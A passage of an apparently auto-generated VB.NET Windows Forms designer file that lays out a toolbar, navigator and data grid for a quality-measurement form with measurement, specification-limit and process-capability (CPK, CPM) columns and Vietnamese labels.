DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn32 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn33 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn34 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn35 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn36 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn37 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn38 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn39 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn40 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn41 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn42 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn43 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn44 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn45 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn46 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn47 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn48 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn49 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn50 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn51 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewTextBoxColumn1 = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.DataGridViewTextBoxColumn2 = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.DataGridViewTextBoxColumn3 = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.DataGridViewTextBoxColumn4 = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.tlsMenu.SuspendLayout() CType(Me.bdn, System.ComponentModel.ISupportInitialize).BeginInit() Me.bdn.SuspendLayout() CType(Me.grid, System.ComponentModel.ISupportInitialize).BeginInit() Me.SuspendLayout() ' 'tlsMenu ' Me.tlsMenu.AutoSize = False Me.tlsMenu.GripStyle = System.Windows.Forms.ToolStripGripStyle.Hidden Me.tlsMenu.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.mnuShowAll, Me.mnuExport, Me.mnuChart, Me.mnuImprt, Me.mnuSave, Me.ToolStripSeparator1, Me.mnuDelete, Me.mnuEdit, Me.ToolStripSeparator2}) Me.tlsMenu.Location = New System.Drawing.Point(0, 0) Me.tlsMenu.Name = "tlsMenu" Me.tlsMenu.Size = New System.Drawing.Size(1061, 53) Me.tlsMenu.TabIndex = 78 ' 'mnuShowAll ' Me.mnuShowAll.AutoSize = False Me.mnuShowAll.Image = CType(resources.GetObject("mnuShowAll.Image"), System.Drawing.Image) Me.mnuShowAll.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None Me.mnuShowAll.ImageTransparentColor = System.Drawing.Color.Magenta Me.mnuShowAll.Name = "mnuShowAll" Me.mnuShowAll.Size = New System.Drawing.Size(60, 50) Me.mnuShowAll.Text = "Show all" Me.mnuShowAll.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageAboveText Me.mnuShowAll.ToolTipText = "Show all (F5)" ' 'mnuExport ' Me.mnuExport.AutoSize = False Me.mnuExport.Image = CType(resources.GetObject("mnuExport.Image"), System.Drawing.Image) Me.mnuExport.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None Me.mnuExport.ImageTransparentColor = System.Drawing.Color.Magenta Me.mnuExport.Name = "mnuExport" Me.mnuExport.Size = New System.Drawing.Size(60, 50) Me.mnuExport.Text = "Export" Me.mnuExport.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageAboveText Me.mnuExport.ToolTipText = "Export" ' 'mnuChart ' Me.mnuChart.AutoSize = False Me.mnuChart.Image = CType(resources.GetObject("mnuChart.Image"), System.Drawing.Image) Me.mnuChart.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None Me.mnuChart.ImageTransparentColor = System.Drawing.Color.Magenta Me.mnuChart.Name = "mnuChart" Me.mnuChart.Size = New System.Drawing.Size(60, 50) Me.mnuChart.Text = "Chart" Me.mnuChart.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageAboveText Me.mnuChart.ToolTipText = "Chart" ' 'mnuImprt ' Me.mnuImprt.AutoSize = False Me.mnuImprt.Image = CType(resources.GetObject("mnuImprt.Image"), System.Drawing.Image) Me.mnuImprt.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None Me.mnuImprt.ImageTransparentColor = System.Drawing.Color.Magenta Me.mnuImprt.Name = "mnuImprt" Me.mnuImprt.Size = New System.Drawing.Size(60, 50) Me.mnuImprt.Text = "Import" Me.mnuImprt.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageAboveText Me.mnuImprt.ToolTipText = "Import" ' 'mnuSave ' Me.mnuSave.AutoSize = False Me.mnuSave.Image = CType(resources.GetObject("mnuSave.Image"), System.Drawing.Image) Me.mnuSave.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None Me.mnuSave.ImageTransparentColor = System.Drawing.Color.Magenta Me.mnuSave.Name = "mnuSave" Me.mnuSave.Size = New System.Drawing.Size(60, 50) Me.mnuSave.Text = "Save" Me.mnuSave.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageAboveText Me.mnuSave.ToolTipText = "Save" ' 'ToolStripSeparator1 ' Me.ToolStripSeparator1.Name = "ToolStripSeparator1" Me.ToolStripSeparator1.Size = New System.Drawing.Size(6, 53) ' 'mnuDelete ' Me.mnuDelete.AutoSize = False Me.mnuDelete.Image = CType(resources.GetObject("mnuDelete.Image"), System.Drawing.Image) Me.mnuDelete.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None Me.mnuDelete.ImageTransparentColor = System.Drawing.Color.Magenta Me.mnuDelete.Name = "mnuDelete" Me.mnuDelete.Size = New System.Drawing.Size(60, 50) Me.mnuDelete.Text = "Delete" Me.mnuDelete.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageAboveText Me.mnuDelete.ToolTipText = "Delete" ' 'mnuEdit ' Me.mnuEdit.AutoSize = False Me.mnuEdit.Image = CType(resources.GetObject("mnuEdit.Image"), System.Drawing.Image) Me.mnuEdit.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None Me.mnuEdit.ImageTransparentColor = System.Drawing.Color.Magenta Me.mnuEdit.Name = "mnuEdit" Me.mnuEdit.Size = New System.Drawing.Size(60, 50) Me.mnuEdit.Text = "Edit" Me.mnuEdit.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageAboveText Me.mnuEdit.ToolTipText = "Edit" ' 'ToolStripSeparator2 ' Me.ToolStripSeparator2.Name = "ToolStripSeparator2" Me.ToolStripSeparator2.Size = New System.Drawing.Size(6, 53) ' 'bdn ' Me.bdn.AddNewItem = Nothing Me.bdn.CountItem = Me.BindingNavigatorCountItem Me.bdn.DeleteItem = Nothing Me.bdn.Dock = System.Windows.Forms.DockStyle.Bottom Me.bdn.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.BindingNavigatorMoveFirstItem, Me.BindingNavigatorMovePreviousItem, Me.BindingNavigatorSeparator, Me.BindingNavigatorPositionItem, Me.BindingNavigatorCountItem, Me.BindingNavigatorSeparator1, Me.BindingNavigatorMoveNextItem, Me.BindingNavigatorMoveLastItem, Me.BindingNavigatorSeparator2}) Me.bdn.Location = New System.Drawing.Point(0, 425) Me.bdn.MoveFirstItem = Me.BindingNavigatorMoveFirstItem Me.bdn.MoveLastItem = Me.BindingNavigatorMoveLastItem Me.bdn.MoveNextItem = Me.BindingNavigatorMoveNextItem Me.bdn.MovePreviousItem = Me.BindingNavigatorMovePreviousItem Me.bdn.Name = "bdn" Me.bdn.PositionItem = Me.BindingNavigatorPositionItem Me.bdn.Size = New System.Drawing.Size(1061, 25) Me.bdn.TabIndex = 79 Me.bdn.Text = "BindingNavigator1" ' 'BindingNavigatorCountItem ' Me.BindingNavigatorCountItem.Name = "BindingNavigatorCountItem" Me.BindingNavigatorCountItem.Size = New System.Drawing.Size(35, 22) Me.BindingNavigatorCountItem.Text = "of {0}" Me.BindingNavigatorCountItem.ToolTipText = "Total number of items" ' 'BindingNavigatorMoveFirstItem ' Me.BindingNavigatorMoveFirstItem.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image Me.BindingNavigatorMoveFirstItem.Image = CType(resources.GetObject("BindingNavigatorMoveFirstItem.Image"), System.Drawing.Image) Me.BindingNavigatorMoveFirstItem.Name = "BindingNavigatorMoveFirstItem" Me.BindingNavigatorMoveFirstItem.RightToLeftAutoMirrorImage = True Me.BindingNavigatorMoveFirstItem.Size = New System.Drawing.Size(23, 22) Me.BindingNavigatorMoveFirstItem.Text = "Move first" ' 'BindingNavigatorMovePreviousItem ' Me.BindingNavigatorMovePreviousItem.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image Me.BindingNavigatorMovePreviousItem.Image = CType(resources.GetObject("BindingNavigatorMovePreviousItem.Image"), System.Drawing.Image) Me.BindingNavigatorMovePreviousItem.Name = "BindingNavigatorMovePreviousItem" Me.BindingNavigatorMovePreviousItem.RightToLeftAutoMirrorImage = True Me.BindingNavigatorMovePreviousItem.Size = New System.Drawing.Size(23, 22) Me.BindingNavigatorMovePreviousItem.Text = "Move previous" ' 'BindingNavigatorSeparator ' Me.BindingNavigatorSeparator.Name = "BindingNavigatorSeparator" Me.BindingNavigatorSeparator.Size = New System.Drawing.Size(6, 25) ' 'BindingNavigatorPositionItem ' Me.BindingNavigatorPositionItem.AccessibleName = "Position" Me.BindingNavigatorPositionItem.AutoSize = False Me.BindingNavigatorPositionItem.Font = New System.Drawing.Font("Segoe UI", 9.0!) Me.BindingNavigatorPositionItem.Name = "BindingNavigatorPositionItem" Me.BindingNavigatorPositionItem.Size = New System.Drawing.Size(50, 23) Me.BindingNavigatorPositionItem.Text = "0" Me.BindingNavigatorPositionItem.ToolTipText = "Current position" ' 'BindingNavigatorSeparator1 ' Me.BindingNavigatorSeparator1.Name = "BindingNavigatorSeparator1" Me.BindingNavigatorSeparator1.Size = New System.Drawing.Size(6, 25) ' 'BindingNavigatorMoveNextItem ' Me.BindingNavigatorMoveNextItem.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image Me.BindingNavigatorMoveNextItem.Image = CType(resources.GetObject("BindingNavigatorMoveNextItem.Image"), System.Drawing.Image) Me.BindingNavigatorMoveNextItem.Name = "BindingNavigatorMoveNextItem" Me.BindingNavigatorMoveNextItem.RightToLeftAutoMirrorImage = True Me.BindingNavigatorMoveNextItem.Size = New System.Drawing.Size(23, 22) Me.BindingNavigatorMoveNextItem.Text = "Move next" ' 'BindingNavigatorMoveLastItem ' Me.BindingNavigatorMoveLastItem.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image Me.BindingNavigatorMoveLastItem.Image = CType(resources.GetObject("BindingNavigatorMoveLastItem.Image"), System.Drawing.Image) Me.BindingNavigatorMoveLastItem.Name = "BindingNavigatorMoveLastItem" Me.BindingNavigatorMoveLastItem.RightToLeftAutoMirrorImage = True Me.BindingNavigatorMoveLastItem.Size = New System.Drawing.Size(23, 22) Me.BindingNavigatorMoveLastItem.Text = "Move last" ' 'BindingNavigatorSeparator2 ' Me.BindingNavigatorSeparator2.Name = "BindingNavigatorSeparator2" Me.BindingNavigatorSeparator2.Size = New System.Drawing.Size(6, 25) ' 'grid ' Me.grid.AllowUserToAddRows = False Me.grid.AllowUserToDeleteRows = False Me.grid.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.grid.BackgroundColor = System.Drawing.Color.WhiteSmoke Me.grid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize Me.grid.Columns.AddRange(New System.Windows.Forms.DataGridViewColumn() {Me.Item, Me.D1, Me.D2, Me.D3, Me.D4, Me.D5, Me.D6, Me.D7, Me.D8, Me.D9, Me.D10, Me.D11, Me.D12, Me.D13, Me.D14, Me.D15, Me.D16, Me.D17, Me.D18, Me.D19, Me.D20, Me.D21, Me.D22, Me.D23, Me.D24, Me.D25, Me.D26, Me.D27, Me.D28, Me.D29, Me.D30, Me.D31, Me.D32, Me.AVG, Me.Min, Me.Max, Me.STDEV, Me.KetQua, Me.Spec, Me.UTL, Me.LTL, Me.USL, Me.LSL, Me.UTLMC, Me.LTLMC, Me.UMC, Me.LMC, Me.DanhGiaMC, Me.CPK, Me.CPM, Me.CPKD, Me.CPMD}) Me.grid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditOnEnter Me.grid.EnableHeadersVisualStyles = False Me.grid.Location = New System.Drawing.Point(0, 159) Me.grid.Name = "grid" Me.grid.ReadOnly = True Me.grid.RowHeadersWidth = 20 Me.grid.Size = New System.Drawing.Size(1061, 263) Me.grid.TabIndex = 80 ' 'Item ' Me.Item.DataPropertyName = "Item" Me.Item.Frozen = True Me.Item.HeaderText = "Item" Me.Item.Name = "Item" Me.Item.ReadOnly = True Me.Item.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.Item.Width = 60 ' 'D1 ' Me.D1.DataPropertyName = "D1" Me.D1.HeaderText = "D1" Me.D1.Name = "D1" Me.D1.ReadOnly = True Me.D1.Width = 50 ' 'D2 ' Me.D2.DataPropertyName = "D2" Me.D2.HeaderText = "D2" Me.D2.Name = "D2" Me.D2.ReadOnly = True Me.D2.Width = 50 ' 'D3 ' Me.D3.DataPropertyName = "D3" Me.D3.HeaderText = "D3" Me.D3.Name = "D3" Me.D3.ReadOnly = True Me.D3.Width = 50 ' 'D4 ' Me.D4.DataPropertyName = "D4" Me.D4.HeaderText = "D4" Me.D4.Name = "D4" Me.D4.ReadOnly = True Me.D4.Width = 50 ' 'D5 ' Me.D5.DataPropertyName = "D5" Me.D5.HeaderText = "D5" Me.D5.Name = "D5" Me.D5.ReadOnly = True Me.D5.Width = 50 ' 'D6 ' Me.D6.DataPropertyName = "D6" Me.D6.HeaderText = "D6" Me.D6.Name = "D6" Me.D6.ReadOnly = True Me.D6.Width = 50 ' 'D7 ' Me.D7.DataPropertyName = "D7" Me.D7.HeaderText = "D7" Me.D7.Name = "D7" Me.D7.ReadOnly = True Me.D7.Width = 50 ' 'D8 ' Me.D8.DataPropertyName = "D8" Me.D8.HeaderText = "D8" Me.D8.Name = "D8" Me.D8.ReadOnly = True Me.D8.Width = 50 ' 'D9 ' Me.D9.DataPropertyName = "D9" Me.D9.HeaderText = "D9" Me.D9.Name = "D9" Me.D9.ReadOnly = True Me.D9.Width = 50 ' 'D10 ' Me.D10.DataPropertyName = "D10" Me.D10.HeaderText = "D10" Me.D10.Name = "D10" Me.D10.ReadOnly = True Me.D10.Width = 50 ' 'D11 ' Me.D11.DataPropertyName = "D11" Me.D11.HeaderText = "D11" Me.D11.Name = "D11" Me.D11.ReadOnly = True Me.D11.Width = 50 ' 'D12 ' Me.D12.DataPropertyName = "D12" Me.D12.HeaderText = "D12" Me.D12.Name = "D12" Me.D12.ReadOnly = True Me.D12.Width = 50 ' 'D13 ' Me.D13.DataPropertyName = "D13" Me.D13.HeaderText = "D13" Me.D13.Name = "D13" Me.D13.ReadOnly = True Me.D13.Width = 50 ' 'D14 ' Me.D14.DataPropertyName = "D14" Me.D14.HeaderText = "D14" Me.D14.Name = "D14" Me.D14.ReadOnly = True Me.D14.Width = 50 ' 'D15 ' Me.D15.DataPropertyName = "D15" Me.D15.HeaderText = "D15" Me.D15.Name = "D15" Me.D15.ReadOnly = True Me.D15.Width = 50 ' 'D16 ' Me.D16.DataPropertyName = "D16" Me.D16.HeaderText = "D16" Me.D16.Name = "D16" Me.D16.ReadOnly = True Me.D16.Width = 50 ' 'D17 ' Me.D17.DataPropertyName = "D17" Me.D17.HeaderText = "D17" Me.D17.Name = "D17" Me.D17.ReadOnly = True Me.D17.Width = 50 ' 'D18 ' Me.D18.DataPropertyName = "D18" Me.D18.HeaderText = "D18" Me.D18.Name = "D18" Me.D18.ReadOnly = True Me.D18.Width = 50 ' 'D19 ' Me.D19.DataPropertyName = "D19" Me.D19.HeaderText = "D19" Me.D19.Name = "D19" Me.D19.ReadOnly = True Me.D19.Width = 50 ' 'D20 ' Me.D20.DataPropertyName = "D20" Me.D20.HeaderText = "D20" Me.D20.Name = "D20" Me.D20.ReadOnly = True Me.D20.Width = 50 ' 'D21 ' Me.D21.DataPropertyName = "D21" Me.D21.HeaderText = "D21" Me.D21.Name = "D21" Me.D21.ReadOnly = True Me.D21.Width = 50 ' 'D22 ' Me.D22.DataPropertyName = "D22" Me.D22.HeaderText = "D22" Me.D22.Name = "D22" Me.D22.ReadOnly = True Me.D22.Width = 50 ' 'D23 ' Me.D23.DataPropertyName = "D23" Me.D23.HeaderText = "D23" Me.D23.Name = "D23" Me.D23.ReadOnly = True Me.D23.Width = 50 ' 'D24 ' Me.D24.DataPropertyName = "D24" Me.D24.HeaderText = "D24" Me.D24.Name = "D24" Me.D24.ReadOnly = True Me.D24.Width = 50 ' 'D25 ' Me.D25.DataPropertyName = "D25" Me.D25.HeaderText = "D25" Me.D25.Name = "D25" Me.D25.ReadOnly = True Me.D25.Width = 50 ' 'D26 ' Me.D26.DataPropertyName = "D26" Me.D26.HeaderText = "D26" Me.D26.Name = "D26" Me.D26.ReadOnly = True Me.D26.Width = 50 ' 'D27 ' Me.D27.DataPropertyName = "D27" Me.D27.HeaderText = "D27" Me.D27.Name = "D27" Me.D27.ReadOnly = True Me.D27.Width = 50 ' 'D28 ' Me.D28.DataPropertyName = "D28" Me.D28.HeaderText = "D28" Me.D28.Name = "D28" Me.D28.ReadOnly = True Me.D28.Width = 50 ' 'D29 ' Me.D29.DataPropertyName = "D29" Me.D29.HeaderText = "D29" Me.D29.Name = "D29" Me.D29.ReadOnly = True Me.D29.Width = 50 ' 'D30 ' Me.D30.DataPropertyName = "D30" Me.D30.HeaderText = "D30" Me.D30.Name = "D30" Me.D30.ReadOnly = True Me.D30.Width = 50 ' 'D31 ' Me.D31.DataPropertyName = "D31" Me.D31.HeaderText = "D31" Me.D31.Name = "D31" Me.D31.ReadOnly = True Me.D31.Width = 50 ' 'D32 ' Me.D32.DataPropertyName = "D32" DataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle1.Format = "N3" Me.D32.DefaultCellStyle = DataGridViewCellStyle1 Me.D32.HeaderText = "D32" Me.D32.Name = "D32" Me.D32.ReadOnly = True Me.D32.Width = 50 ' 'AVG ' Me.AVG.DataPropertyName = "AVG" DataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle2.Format = "N3" Me.AVG.DefaultCellStyle = DataGridViewCellStyle2 Me.AVG.HeaderText = "AVG" Me.AVG.Name = "AVG" Me.AVG.ReadOnly = True Me.AVG.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.AVG.Width = 50 ' 'Min ' Me.Min.DataPropertyName = "Min" DataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle3.Format = "N3" Me.Min.DefaultCellStyle = DataGridViewCellStyle3 Me.Min.HeaderText = "Min" Me.Min.Name = "Min" Me.Min.ReadOnly = True Me.Min.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.Min.Width = 50 ' 'Max ' Me.Max.DataPropertyName = "Max" DataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle4.Format = "N3" Me.Max.DefaultCellStyle = DataGridViewCellStyle4 Me.Max.HeaderText = "Max" Me.Max.Name = "Max" Me.Max.ReadOnly = True Me.Max.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.Max.Width = 50 ' 'STDEV ' Me.STDEV.DataPropertyName = "STDEV" Me.STDEV.HeaderText = "STDEV" Me.STDEV.Name = "STDEV" Me.STDEV.ReadOnly = True Me.STDEV.Width = 50 ' 'KetQua ' Me.KetQua.DataPropertyName = "KetQua" DataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter Me.KetQua.DefaultCellStyle = DataGridViewCellStyle5 Me.KetQua.HeaderText = "KetQua" Me.KetQua.Name = "KetQua" Me.KetQua.ReadOnly = True Me.KetQua.Width = 50 ' 'Spec ' Me.Spec.DataPropertyName = "Spec" DataGridViewCellStyle6.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle6.Format = "N3" Me.Spec.DefaultCellStyle = DataGridViewCellStyle6 Me.Spec.HeaderText = "Spec" Me.Spec.Name = "Spec" Me.Spec.ReadOnly = True Me.Spec.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.Spec.Width = 60 ' 'UTL ' Me.UTL.DataPropertyName = "UTL" DataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle7.Format = "N3" Me.UTL.DefaultCellStyle = DataGridViewCellStyle7 Me.UTL.HeaderText = "UTL" Me.UTL.Name = "UTL" Me.UTL.ReadOnly = True Me.UTL.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.UTL.Width = 60 ' 'LTL ' Me.LTL.DataPropertyName = "LTL" DataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle8.Format = "N3" Me.LTL.DefaultCellStyle = DataGridViewCellStyle8 Me.LTL.HeaderText = "LTL" Me.LTL.Name = "LTL" Me.LTL.ReadOnly = True Me.LTL.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.LTL.Width = 60 ' 'USL ' Me.USL.DataPropertyName = "USL" DataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle9.Format = "N3" Me.USL.DefaultCellStyle = DataGridViewCellStyle9 Me.USL.HeaderText = "USL" Me.USL.Name = "USL" Me.USL.ReadOnly = True Me.USL.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.USL.Width = 60 ' 'LSL ' Me.LSL.DataPropertyName = "LSL" DataGridViewCellStyle10.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle10.Format = "N3" Me.LSL.DefaultCellStyle = DataGridViewCellStyle10 Me.LSL.HeaderText = "LSL" Me.LSL.Name = "LSL" Me.LSL.ReadOnly = True Me.LSL.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.LSL.Width = 60 ' 'UTLMC ' Me.UTLMC.DataPropertyName = "UTLMC" DataGridViewCellStyle11.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle11.Format = "N3" Me.UTLMC.DefaultCellStyle = DataGridViewCellStyle11 Me.UTLMC.HeaderText = "UTLMC" Me.UTLMC.Name = "UTLMC" Me.UTLMC.ReadOnly = True Me.UTLMC.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.UTLMC.Width = 60 ' 'LTLMC ' Me.LTLMC.DataPropertyName = "LTLMC" DataGridViewCellStyle12.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle12.Format = "N3" Me.LTLMC.DefaultCellStyle = DataGridViewCellStyle12 Me.LTLMC.HeaderText = "LTLMC" Me.LTLMC.Name = "LTLMC" Me.LTLMC.ReadOnly = True Me.LTLMC.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.LTLMC.Width = 60 ' 'UMC ' Me.UMC.DataPropertyName = "UMC" DataGridViewCellStyle13.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle13.Format = "N3" Me.UMC.DefaultCellStyle = DataGridViewCellStyle13 Me.UMC.HeaderText = "UMC" Me.UMC.Name = "UMC" Me.UMC.ReadOnly = True Me.UMC.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.UMC.Width = 60 ' 'LMC ' Me.LMC.DataPropertyName = "LMC" DataGridViewCellStyle14.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle14.Format = "N3" Me.LMC.DefaultCellStyle = DataGridViewCellStyle14 Me.LMC.HeaderText = "LMC" Me.LMC.Name = "LMC" Me.LMC.ReadOnly = True Me.LMC.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.LMC.Width = 60 ' 'DanhGiaMC ' Me.DanhGiaMC.DataPropertyName = "DanhGiaMC" DataGridViewCellStyle15.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter Me.DanhGiaMC.DefaultCellStyle = DataGridViewCellStyle15 Me.DanhGiaMC.HeaderText = "Đánh giá MC" Me.DanhGiaMC.Name = "DanhGiaMC" Me.DanhGiaMC.ReadOnly = True Me.DanhGiaMC.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DanhGiaMC.Width = 60 ' 'CPK ' Me.CPK.DataPropertyName = "CPK" DataGridViewCellStyle16.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle16.Format = "N3" Me.CPK.DefaultCellStyle = DataGridViewCellStyle16 Me.CPK.HeaderText = "CPK" Me.CPK.Name = "CPK" Me.CPK.ReadOnly = True Me.CPK.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.CPK.Width = 60 ' 'CPM ' Me.CPM.DataPropertyName = "CPM" DataGridViewCellStyle17.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle17.Format = "N3" Me.CPM.DefaultCellStyle = DataGridViewCellStyle17 Me.CPM.HeaderText = "CPM" Me.CPM.Name = "CPM" Me.CPM.ReadOnly = True Me.CPM.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.CPM.Width = 60 ' 'CPKD ' Me.CPKD.DataPropertyName = "CPKD" DataGridViewCellStyle18.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle18.Format = "N3" Me.CPKD.DefaultCellStyle = DataGridViewCellStyle18 Me.CPKD.HeaderText = "CPK Std" Me.CPKD.Name = "CPKD" Me.CPKD.ReadOnly = True Me.CPKD.Width = 60 ' 'CPMD ' Me.CPMD.DataPropertyName = "CPMD" DataGridViewCellStyle19.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle19.Format = "N3" Me.CPMD.DefaultCellStyle = DataGridViewCellStyle19 Me.CPMD.HeaderText = "CPM Std" Me.CPMD.Name = "CPMD" Me.CPMD.ReadOnly = True Me.CPMD.Width = 60 ' 'Label1 ' Me.Label1.AutoSize = True Me.Label1.Location = New System.Drawing.Point(232, 57) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(51, 13) Me.Label1.TabIndex = 81 Me.Label1.Text = "Ngày đo:" ' 'txtLotNo ' Me.txtLotNo.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(192, Byte), Integer)) Me.txtLotNo.Location = New System.Drawing.Point(300, 77) Me.txtLotNo.Name = "txtLotNo" Me.txtLotNo.Size = New System.Drawing.Size(149, 20) Me.txtLotNo.TabIndex = 7 ' 'Label2 ' Me.Label2.AutoSize = True Me.Label2.Location = New System.Drawing.Point(232, 78) Me.Label2.Name = "Label2" Me.Label2.Size = New System.Drawing.Size(40, 13) Me.Label2.TabIndex = 83 Me.Label2.Text = "Lot no:" ' 'txtMSNV ' Me.txtMSNV.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(192, Byte), Integer)) Me.txtMSNV.Location = New System.Drawing.Point(300, 97) Me.txtMSNV.Name = "txtMSNV" Me.txtMSNV.Size = New System.Drawing.Size(149, 20) Me.txtMSNV.TabIndex = 8 ' 'Label3 ' Me.Label3.AutoSize = True Me.Label3.Location = New System.Drawing.Point(232, 99) Me.Label3.Name = "Label3" Me.Label3.Size = New System.Drawing.Size(44, 13) Me.Label3.TabIndex = 85 Me.Label3.Text = "MSNV :" ' 'Label4 ' Me.Label4.AutoSize = True Me.Label4.Location = New System.Drawing.Point(232, 120) Me.Label4.Name = "Label4" Me.Label4.Size = New System.Drawing.Size(66, 13) Me.Label4.TabIndex = 89 Me.Label4.Text = "TG Bắt đầu:" ' 'Label5 ' Me.Label5.AutoSize = True Me.Label5.Location = New System.Drawing.Point(232, 141) Me.Label5.Name = "Label5" Me.Label5.Size = New System.Drawing.Size(68, 13) 